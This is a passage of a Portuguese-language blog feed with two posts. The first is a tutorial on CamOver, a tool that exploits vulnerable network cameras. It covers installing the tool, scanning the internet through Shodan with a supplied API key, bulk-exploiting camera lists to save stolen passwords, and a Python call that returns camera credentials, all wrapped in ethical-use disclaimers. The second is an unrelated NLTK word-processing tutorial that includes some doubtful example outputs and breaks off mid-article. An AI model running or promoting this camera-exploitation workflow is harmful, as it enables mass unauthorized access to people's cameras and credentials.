      <category>tutorial</category>
    </item>
    <item>
      <title>CamOver — ferramenta para exploração de vulnerabilidades em câmeras de rede</title>
      <dc:creator>Moprius</dc:creator>
      <pubDate>Wed, 20 Nov 2024 23:27:51 +0000</pubDate>
      <link>https://forem.com/moprius/camover-ferramenta-para-exploracao-de-vulnerabilidades-em-cameras-de-rede-16h8</link>
      <guid>https://forem.com/moprius/camover-ferramenta-para-exploracao-de-vulnerabilidades-em-cameras-de-rede-16h8</guid>
      <description>&lt;p&gt;Hoje vamos falar sobre uma ferramenta interessante: &lt;strong&gt;CamOver&lt;/strong&gt;, utilizada para explorar vulnerabilidades de câmeras de rede, obter suas senhas e realizar diversos tipos de ataques. Os ataques acontecem explorando vulnerabilidades de modelos populares de câmeras, como CCTV, GoAhead e Netwave. Abaixo, explicarei detalhadamente como instalar e usar o CamOver.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Hackeando câmeras de rede com CamOver&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Este artigo é destinado exclusivamente para fins educacionais e para o aprendizado de hackers éticos. O acesso não autorizado a câmeras de rede é ilegal e considerado crime. Nem o site &lt;strong&gt;spy-soft.net&lt;/strong&gt;, nem o autor são responsáveis pelas suas ações.&lt;/p&gt;
&lt;h3&gt;
  
  
  Funcionalidades do CamOver:
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Exploração de vulnerabilidades em modelos populares de câmeras de rede (CCTV, GoAhead, Netwave).
&lt;/li&gt;
&lt;li&gt;Suporte a múltiplas câmeras simultaneamente, graças à funcionalidade de multithreading.
&lt;/li&gt;
&lt;li&gt;Interface amigável para uso por linha de comando ou API.
&lt;/li&gt;
&lt;/ul&gt;


&lt;h3&gt;
  
  
  &lt;strong&gt;Instalação do CamOver&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Para instalar a ferramenta, basta usar o seguinte comando:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip3 &lt;span class="nb"&gt;install &lt;/span&gt;git+https://github.com/EntySec/CamOver
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  &lt;strong&gt;Uso do CamOver&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Após instalar, basta iniciar o CamOver com o comando:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;camover
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Parâmetros disponíveis ao iniciar o CamOver:
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-h, --help            Exibe a mensagem de ajuda e sai.  
-t, --threads         Usa multithreading para acelerar o processo.  
-o OUTPUT, --output OUTPUT  Salva os resultados em um arquivo.  
-i INPUT, --input INPUT  Arquivo com endereços das câmeras.  
-a ADDRESS, --address ADDRESS  Um único endereço de câmera.  
--shodan SHODAN       Chave de API do Shodan para explorar câmeras pela internet.  
--zoomeye ZOOMEYE     Chave de API do ZoomEye para explorar câmeras pela internet.  
-p PAGES, --pages PAGES  Número de páginas a ser buscado no ZoomEye.  
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  &lt;strong&gt;Exemplo de uso:&lt;/strong&gt;
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Exploração de uma única câmera
&lt;/h4&gt;

&lt;p&gt;Suponha que exista uma câmera com o endereço IP &lt;code&gt;192.168.99.100&lt;/code&gt;. Para verificar se ela pode ser explorada, execute o seguinte comando:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;camover &lt;span class="nt"&gt;-a&lt;/span&gt; 192.168.99.100
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h4&gt;
  
  
  Exploração de câmeras pela internet
&lt;/h4&gt;

&lt;p&gt;Para encontrar câmeras pela internet utilizando o Shodan, execute:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;camover &lt;span class="nt"&gt;-t&lt;/span&gt; &lt;span class="nt"&gt;--shodan&lt;/span&gt; PSKINdQe1GyxGgecYz2191H2JoS9qvgD
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;A chave de API Shodan (&lt;code&gt;PSKINdQe1GyxGgecYz2191H2JoS9qvgD&lt;/code&gt;) é fornecida como exemplo. Você pode usar essa ou sua própria chave.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h4&gt;
  
  
  Exploração de câmeras a partir de um arquivo
&lt;/h4&gt;

&lt;p&gt;Se você tem uma lista de endereços de câmeras em um arquivo chamado &lt;code&gt;cameras.txt&lt;/code&gt;, pode tentar explorá-las e salvar as senhas obtidas em &lt;code&gt;passwords.txt&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;camover &lt;span class="nt"&gt;-t&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; cameras.txt &lt;span class="nt"&gt;-o&lt;/span&gt; passwords.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  &lt;strong&gt;Uso de API&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;O CamOver também fornece uma API em Python para integrar a ferramenta em seu código. O exemplo abaixo mostra como criar um objeto CamOver, explorar uma câmera por IP e exibir as credenciais obtidas:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;camover&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;CamOver&lt;/span&gt;

&lt;span class="n"&gt;camover&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;CamOver&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;creds&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;camover&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exploit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;192.168.99.100&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;creds&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Explicação do código:
&lt;/h4&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;from camover import CamOver&lt;/code&gt;: Importa a classe CamOver da biblioteca.
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;camover = CamOver()&lt;/code&gt;: Cria um objeto CamOver para acessar seus métodos.
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;creds = camover.exploit('192.168.99.100')&lt;/code&gt;: Usa o método &lt;code&gt;exploit&lt;/code&gt; para tentar explorar uma câmera pelo endereço IP &lt;code&gt;192.168.99.100&lt;/code&gt;. Se for bem-sucedido, retorna as credenciais (login e senha) da câmera.
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;print(creds)&lt;/code&gt;: Exibe as credenciais obtidas.
&lt;/li&gt;
&lt;/ol&gt;




&lt;h3&gt;
  
  
  &lt;strong&gt;Conclusão&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;O CamOver é uma ferramenta poderosa para explorar vulnerabilidades em câmeras de rede. Caso você se interesse por esse tema, ele pode ser um recurso valioso para aprendizado sobre segurança de redes e testes de penetração.  &lt;/p&gt;




&lt;p&gt;⚠️ &lt;strong&gt;Aviso legal&lt;/strong&gt;: O uso de ferramentas como o CamOver para atividades não autorizadas é crime e pode acarretar sérias penalidades. Utilize essas informações apenas para fins legais e éticos.&lt;/p&gt;

</description>
      <category>python</category>
      <category>security</category>
      <category>network</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Substituição e Correção de Palavras com NLTK em Python</title>
      <dc:creator>Moprius</dc:creator>
      <pubDate>Wed, 31 Jul 2024 15:29:07 +0000</pubDate>
      <link>https://forem.com/moprius/substituicao-e-correcao-de-palavras-com-nltk-em-python-173n</link>
      <guid>https://forem.com/moprius/substituicao-e-correcao-de-palavras-com-nltk-em-python-173n</guid>
      <description>&lt;p&gt;Quando a gente fala de processamento de linguagem natural (PLN), uma das tarefas mais importantes é a substituição e correção de palavras. Isso envolve técnicas como stemming, lematização, correção ortográfica, e substituição de palavras baseadas em sinônimos e antônimos. Usar essas técnicas pode melhorar bastante a qualidade de análise de texto, seja para motores de busca, chatbots ou análise de sentimentos. Vamos explorar como a biblioteca NLTK em Python ajuda nessas tarefas.&lt;/p&gt;

&lt;h4&gt;
  
  
  Stemming: Cortando Sufixos
&lt;/h4&gt;

&lt;p&gt;Stemming é uma técnica que remove os sufixos das palavras, deixando só a raiz. Por exemplo, a palavra "correndo" tem a raiz "corr". Isso é útil para reduzir a quantidade de palavras que um motor de busca precisa indexar.&lt;/p&gt;

&lt;p&gt;No NLTK, a gente pode usar o &lt;code&gt;PorterStemmer&lt;/code&gt; para fazer stemming. Vamos ver como funciona:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;nltk.stem&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;PorterStemmer&lt;/span&gt;

&lt;span class="n"&gt;stemmer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;PorterStemmer&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stemmer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;correndo&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;  &lt;span class="c1"&gt;# Saída: corr
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stemmer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;correção&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;  &lt;span class="c1"&gt;# Saída: correc
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Aqui, a gente viu que o stemming corta os sufixos e deixa só a raiz das palavras. Isso ajuda a manter o foco no significado principal das palavras, sem se preocupar com suas variações.&lt;/p&gt;

&lt;h4&gt;
  
  
  Lemmatização: Voltando à Forma Base
&lt;/h4&gt;

&lt;p&gt;A lematização é parecida com o stemming, mas ao invés de cortar sufixos, ela converte a palavra para a sua forma base, ou lemma. Por exemplo, "correndo" vira "correr". Isso é um pouco mais inteligente que o stemming, porque leva em conta o contexto da palavra.&lt;/p&gt;

&lt;p&gt;Para fazer lematização no NLTK, a gente usa o &lt;code&gt;WordNetLemmatizer&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;nltk.stem&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;WordNetLemmatizer&lt;/span&gt;

&lt;span class="n"&gt;lemmatizer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;WordNetLemmatizer&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lemmatizer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;lemmatize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;correndo&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pos&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;v&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;  &lt;span class="c1"&gt;# Saída: correr
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lemmatizer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;lemmatize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;correções&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;  &lt;span class="c1"&gt;# Saída: correção
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nesse exemplo, a gente usa a função &lt;code&gt;lemmatize&lt;/code&gt; e, pra verbos, a gente especifica a parte do discurso (pos) como 'v'. Isso ajuda a NLTK a entender melhor o contexto da palavra.&lt;/p&gt;

&lt;h4&gt;
  
  
  Expressões Regulares para Substituição
&lt;/h4&gt;

&lt;p&gt;Às vezes, a gente quer substituir palavras específicas ou padrões no texto. Pra isso, expressões regulares (regex) são muito úteis. Por exemplo, a gente pode usar regex pra expandir contrações, como "não" pra "não".&lt;/p&gt;

&lt;p&gt;Aqui está como a gente pode fazer isso com NLTK:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;

&lt;span class="n"&gt;texto&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Eu não posso ir à festa. Você não vai?&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;expansoes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;não&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;não&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;expandir_contracoes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;texto&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;expansoes&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nf"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;contraido&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;expandido&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;expansoes&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;texto&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;\b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;contraido&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;\b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;expandido&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;texto&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;texto&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;expandir_contracoes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;texto&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;expansoes&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;  &lt;span class="c1"&gt;# Saída: Eu não posso ir à festa. Você não vai?
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nesse exemplo, a função &lt;code&gt;expandir_contracoes&lt;/code&gt; usa regex pra encontrar e substituir palavras contraídas no texto.&lt;/p&gt;

&lt;h4&gt;
  
  
  Correção Ortográfica com Enchant
&lt;/h4&gt;

&lt;p&gt;Outra tarefa importante é a correção ortográfica. Às vezes, os textos têm erros de digitação ou ortografia, e corrigir isso é essencial pra análise de texto. A biblioteca &lt;code&gt;pyenchant&lt;/code&gt; é ótima pra isso.&lt;/p&gt;

&lt;p&gt;Primeiro, a gente precisa instalar a biblioteca &lt;code&gt;pyenchant&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip &lt;span class="nb"&gt;install &lt;/span&gt;pyenchant
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Depois, a gente pode usar o Enchant pra corrigir palavras:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;enchant&lt;/span&gt;

&lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;enchant&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Dict&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;pt_BR&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;palavra&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;corrigindo&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;check&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;palavra&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;palavra&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; está correta&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;palavra&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; está incorreta, sugestões: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;suggest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;palavra&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Se a palavra estiver incorreta, o Enchant sugere correções.&lt;/p&gt;

&lt;h4&gt;
  
  
  Substituição de Sinônimos
&lt;/h4&gt;

&lt;p&gt;Substituir palavras por seus sinônimos pode enriquecer um texto, evitando repetições e melhorando o estilo. Com o WordNet, a gente pode encontrar sinônimos facilmente.&lt;/p&gt;

&lt;p&gt;Aqui está como a gente pode fazer isso:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;nltk.corpus&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;wordnet&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;substituir_sinonimos&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;palavra&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;sinonimos&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;syn&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;wordnet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;synsets&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;palavra&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;lang&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;por&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;lemma&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;syn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;lemmas&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
            &lt;span class="n"&gt;sinonimos&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lemma&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;name&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sinonimos&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;substituir_sinonimos&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;bom&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;  &lt;span class="c1"&gt;# Saída: {'bom', 'legal', 'ótimo', 'excelente'}
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nesse exemplo, a função &lt;code&gt;substituir_sinonimos&lt;/code&gt; retorna uma lista de sinônimos pra palavra dada.&lt;/p&gt;

&lt;h4&gt;
  
  
  Substituição de Antônimos
&lt;/h4&gt;

&lt;p&gt;Assim como sinônimos, antônimos também são úteis, especialmente pra tarefas como análise de sentimentos. A gente pode usar o WordNet pra encontrar antônimos:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;substituir_antonimos&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;palavra&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;antonimos&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;syn&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;wordnet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;synsets&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;palavra&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;lang&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;por&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;lemma&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;syn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;lemmas&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;lemma&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;antonyms&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
                &lt;span class="n"&gt;antonimos&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lemma&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;antonyms&lt;/span&gt;&lt;span class="p"&gt;()[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;name&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;antonimos&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;substituir_antonimos&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;bom&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;  &lt;span class="c1"&gt;# Saída: {'mau', 'ruim'}
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Essa função encontra antônimos pra palavra dada.&lt;/p&gt;

&lt;h4&gt;
  
  
  Aplicações Práticas
&lt;/h4&gt;

